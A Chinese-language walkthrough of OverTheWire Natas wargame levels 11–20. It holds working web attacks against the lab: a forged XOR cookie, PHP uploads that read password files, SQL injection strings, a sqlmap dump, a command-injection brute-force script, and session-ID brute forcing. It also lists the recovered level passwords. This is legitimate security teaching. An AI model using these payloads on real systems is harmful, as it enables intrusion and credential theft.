Natas通關指南(11-20)
原創: Lof_x 合天智匯
接上一篇Natas通關指南(1-10) 繼續闖關OverTheWire 是一個 wargame 網站。其中 Natas 是一個適合學習Web安全基礎的遊戲,在Natas 中,我們需要通過找到網站的漏洞獲得通往下一關的密碼。每一關都有一個網站,類似http://natasX.natas.labs.overthewire.org
,其中X是每一關的編號。每一關都要輸入用戶名(例如,level0的用戶名是natas0)及其密碼才能訪問。所有密碼存儲在 /etc/natas_webpass/
中。例如natas1的密碼存儲在文件 /etc/natas_webpass/natas1
中,只能由natas0和natas1讀取。
網站:
http://overthewire.org/wargames/natas/Tips:所用工具:Chrome瀏覽器;Curl;BurpSuite;SQLMapLevel 11-12Username: natas11 Password: natas11 URL: http://natas11.natas.labs.overthewire.org首先使用我們之前得到的密碼:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
登錄natas11,得到一句提示:
Cookies are protected with XOR encryption
Viewsourcecode
查看源碼。關鍵代碼如下:
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = <censored>;
$text = $in;
$outText = ;
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match(/^#(?:[a-fd]{6})$/i, $tempdata[bgcolor])) {
$mydata[showpassword] = $tempdata[showpassword];
$mydata[bgcolor] = $tempdata[bgcolor];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match(/^#(?:[a-fd]{6})$/i, $_REQUEST[bgcolor])) {
$data[bgcolor] = $_REQUEST[bgcolor];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body stylex="background: <?=$data[bgcolor]?>;">
Cookies are protected
with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print
"The password for natas12 is <censored><br>";
}
?>
base64
加密, php異或
運算。把用戶輸入的數據編碼進 cookie
裡面。通過瀏覽器可以查看到data這個值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw
。而 showpassword
這個參數決定了我們是否能看到下一關密碼。代碼中有個 censored
的 key
,這個是 php
用來做異或運算加密用到的 key
,我們需要先算出這 key
值,然後用這個值作為 key
進行運算和一些列編碼,計算出新的 cookie
傳入,即可得到下一關的密碼。
key值計算:
<?php
$orig_cookie = base64_decode(ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw);
function xor_encrypt($in) {
$text = $in;
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$out = ;
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
echo xor_encrypt($orig_cookie);
?>
qw8J
計算新的Cookie:
<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = qw8J;
$text = $in;
$out = ;
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
function loadData($def) {
$mydata = $def;
$tempdata = json_decode(xor_encrypt(base64_decode($data)), true);
return $mydata;
}
echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
?>
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
,傳入新的Cookie:
curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
HTTP/1.1
200 OK
Date: Mon, 27
Aug
2018
13:40:47 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
......
Cookies are protected
with XOR encryption<br/><br/>
The password for natas12 is
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3<br>
......
登錄natas12,可以看到是一個上傳文件功能:
Choose a JPEG to upload (max 1KB):
Viewsourcecode
查看源碼,關鍵代碼如下:
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES[uploadedfile][tmp_name]) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES[uploadedfile][tmp_name], $target_path)) {
echo "The file <a href="$target_path">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form
enctype="multipart/form-data"
action="index.php"
method="POST">
<input
type="hidden"
name="MAX_FILE_SIZE"
value="1000"
/>
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input
name="uploadedfile"
type="file"
/><br
/>
<input
type="submit"
value="Upload File"
/>
php
文件去讀取 natas13
的密碼即可。你可以通過 BurpSuite
之類的工具修改上傳的 filename
後綴即可。
///getpass.php
<?php
$getpass = file_get_contents(/etc/natas_webpass/natas13);
echo $getpass;
?>
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13-14Username: natas13 URL: http://natas13.natas.labs.overthewire.org頁面和前一關一樣,不過查看源代碼發現這一次限制了文件類型,通過 php
的函數 exif_imagetype()
來驗證文件類型,通過查看php的文檔,這個函數通過檢查文件的簽名(第一個位元組),從而檢測文件類型。關鍵代碼如下:
} else
if (! exif_imagetype($_FILES[uploadedfile][tmp_name])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES[uploadedfile][tmp_name], $target_path)) {
echo "The file <a href="$target_path">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
php
文件中加入任意圖片格式文件頭標識即可,比如 GIF98a
GIF89a
<?php
$getpass = file_get_contents(/etc/natas_webpass/natas14);
echo $getpass;
?>
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14-15Username: natas14 URL: http://natas14.natas.labs.overthewire.org訪問後,是一個登錄頁面,需要輸入 username
和 password
,查看代碼,關鍵代碼:
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect(localhost, natas14, <censored>);
mysql_select_db(natas14, $link);
$query = "SELECT * from users where username="".$_REQUEST["username"]."" and password="".$_REQUEST["password"].""";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
SQL注入
漏洞,沒有任何過濾,直接試試萬能密碼: " OR 1=1 #
注入成功,得到密碼: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 15-16
Username: natas15 URL: http://natas15.natas.labs.overthewire.org頁面需要輸入一個username
,可以點擊 Checkexistence
查詢用戶是否存在,關鍵代碼如下:
<h1>natas15</h1>
<div
id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect(localhost, natas15, <censored>);
mysql_select_db(natas15, $link);
$query = "SELECT * from users where username="".$_REQUEST["username"].""";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesnt exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
LIKE
表達式用通配符按個判斷。這裡我們直接用 sqlmap
好了。
sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Level 16-17Username: natas16 URL: http://natas16.natas.labs.overthewire.org這一關和第9關,第10關很像,不過過濾了更多的字元
頁面提示 Forsecurity reasons,we now filter even more on certain characters
,頁面功能是 Findwords containing:
,需要輸入一些內容,然後搜索,然後會輸出一些內容。關鍵代碼如下:
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match(/[;|&`"]/,$key)) {
print
"Input contains an illegal character!";
} else {
passthru("grep -i "$key" dictionary.txt");
}
}
?>
$
和 ()
。我們知道PHP里的 $()
即使在引號內也可以使用,所以我們可以構造注入語言 $(grep a/etc/natas_webpass/natas17)
,執行的語句是這樣的: passthru("grep -i "$(grep a /etc/natas_webpass/natas17)" dictionary.txt");
所有的單詞都被返回了。 我們知道 dictionary.txt中
存在字元串,比如說 A
,用它與 $(grep)
的返回值相加,如果內層返回了結果將檢索出空值,如果返回空值則外層的 grep
會返回結果 。 比如說:如 password
中首字母為 a
,構成grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt
由於內部的 $()
命令返回了 a
,則使外層命令變為grep-I"aA"dictionary.txt
由於 dictionary
中沒有 aA
,從而返回空值 而如果內層 $()
命令返回空值,外層則能正確檢索到 A
,於是返回值,證明首字母不是 a
按照這個原理可以構造出爆破腳本
import requests
chars = 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
exist =
password =
target = http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/
trueStr = Output:
<pre>
</pre>for x in chars:
r = requests.get(target+?needle=$(grep +x+ /etc/natas_webpass/natas17)Getpass)
if r.content.find(trueStr) != -1:
exist += x
print
Using: + exist
for i in range(32):
for c in exist:
r = requests.get(target+?needle=$(grep ^+password+c+ /etc/natas_webpass/natas17)Getpass)
if r.content.find(trueStr) != -1:
password += c
print
Password: + password + * * int(32 - len(password))
break
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 17-18Username: natas17 URL: http://natas17.natas.labs.overthewire.org
同 natas15
,不過沒有錯誤提示,所以可以用基於時間的盲注。
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18-19Username: natas18 URL: http://natas18.natas.labs.overthewire.org提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.
同樣有一個登錄框,可以輸入 username
和 password
。關鍵代碼如下:
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return
0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print
"DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return
false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return
true;
}
}
return
false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print
"You are an admin. The credentials for the next level are:<br>";
print
"<pre>Username: natas19
";print
"Password: <censored></pre>";
} else {
print
"You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
sql注入
,但是我們注意到有一個變數 maxid
,在 createID
函數中,接收用戶名請求,並將其分配給 1
到 640($maxid)
之間的隨機整數。然後它將其初始化為 session_id
。假設 PHPSESSID
是來自 session_id
的賦值,意味有1個會話ID分配會分配給「admin」。通過瀏覽器請求,我們發現 PHPSESSID
的值確實是來自變數 maxid
產生的 session_id
值。所以我們只要窮舉 maxid
的值就好了。可以用 Burpsuite
爆破這個值,然後把它作為 PHPSESSID
發送請求,即可得到密碼。密碼為 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
如果嫌 Burpsuite
太麻煩,用 shell
腳本也可輕鬆搞定
for i in
`seq 640`
do
echo $i
curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19
done
Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.
意思就是和上一關一樣,只不過 PHPSESSID
不再那麼簡單容易猜到而已。通過觀察,發現其 PHPSESSID
,雖然一長串字元串,如 3237362d61646d696e
,通過16進位解碼發現,都是由 3位數字-admin
組成的,也就是說後面的 2d61646d696e
是不變的。所以我們只需要窮舉 1-640
之間的數字然後拼接 -admin
做16進位轉換,再帶入 PHPSESSID
中進行提交,就能找到那個屬於 admin
的 PHPSESSID
。最後得到的密碼是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 20-21Username: natas20 URL: http://natas20.natas.labs.overthewire.org登錄後,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21.
你可以輸入 Yourname
,然後點 Changename
,不過無論你輸入什麼頁面都沒有任何信息反饋給你。查看源碼,關鍵代碼如下:
<?
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print
"DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print
"You are an admin. The credentials for the next level are:<br>";
print
"<pre>Username: natas21
";print
"Password: <censored></pre>";
} else {
print
"You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
/* we dont need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return
true;
}
/* we dont need this */
function myclose() {
//debug("MYCLOSE");
return
true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return
"";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesnt exist");
return
"";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("
", $data) as $line) {debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value
";}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
/* we dont need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return
true;
}
/* we dont need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return
true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
debug($msg)
表示打開了調試信息,可以通過在URL的末尾添加 /index.php?debug
來查看調試消息 $msg
。
DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1
DEBUG: name => admin
$ _SESSION
的值被存儲在一個文件中。重點在 mywrite
和 myread
這兩個關鍵函數,它們的作用是管理會話狀態。默認情況下, $ _SESSION
中唯一的 key
是 name
,其值通過 /index.php
中的表單提交進行設置。我們可以通過對 name
鍵值對進行注入:將 data
裡面的值變為: name xxxx
admin1
。對換行符編碼然後提交:
http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1
http://natas20.natas.labs.overthewire.org
即可得到密碼
You are an admin. The credentials for the next level are:
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
(如需轉載請註明出處)
推薦閱讀: